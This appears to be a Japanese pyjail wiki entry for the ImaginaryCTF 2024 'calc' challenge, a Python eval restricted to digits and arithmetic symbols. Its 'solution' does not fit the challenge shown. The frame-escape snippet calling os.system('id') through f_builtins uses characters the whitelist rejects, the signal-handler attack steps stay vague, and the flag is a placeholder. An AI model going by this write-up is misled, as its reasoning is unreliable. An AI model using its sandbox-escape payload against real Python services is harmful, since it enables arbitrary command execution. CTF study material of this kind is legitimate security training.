pyjail wiki

ImaginaryCTF 2024 - calc

Challenge

シンプルな電卓として実装されたpyjail。

import signal
import sys
def handler(signum, frame):
print("Timeout!")
sys.exit(1)
signal.signal(signal.SIGALRM, handler)
signal.alarm(5)
expr = input("calc> ")
# 安全な数式のみ許可
allowed = set('0123456789+-*/() ')
if not all(c in allowed for c in expr):
print("Invalid!")
sys.exit(1)
print(eval(expr))

Solution

シグナルハンドラの frame 引数

シグナルハンドラは第2引数として frame オブジェクトを受け取る:

def handler(signum, frame):
# frame は SIGALRM 発生時のフレーム
# frame.f_globals, frame.f_builtins にアクセス可能

攻撃シナリオ

  1. シグナルハンドラを上書きする方法を見つける
  2. または既存のハンドラ内で frame を悪用

別の攻撃ベクトル

signal.alarm(0) でタイムアウトを無効化し、時間制限を回避:

# signal モジュールにアクセスできれば
signal.alarm(0)

Frame からの脱出

import sys
frame = sys._getframe()
frame.f_builtins['eval']('__import__("os").system("id")')

Technical Details

シグナルハンドラの引数

def signal_handler(signum, frame):
"""
signum: シグナル番号 (e.g., signal.SIGALRM = 14)
frame: シグナル発生時の実行フレーム
"""
print(f"Signal: {signum}")
print(f"Frame locals: {frame.f_locals}")
print(f"Frame globals: {frame.f_globals}")

利用可能な属性

属性説明
frame.f_localsローカル変数
frame.f_globalsグローバル変数
frame.f_builtinsbuiltins
frame.f_codeコードオブジェクト
frame.f_back呼び出し元フレーム

Flag

ictf{...}

References

  • ImaginaryCTF 2024 Official
  • Python signal module documentation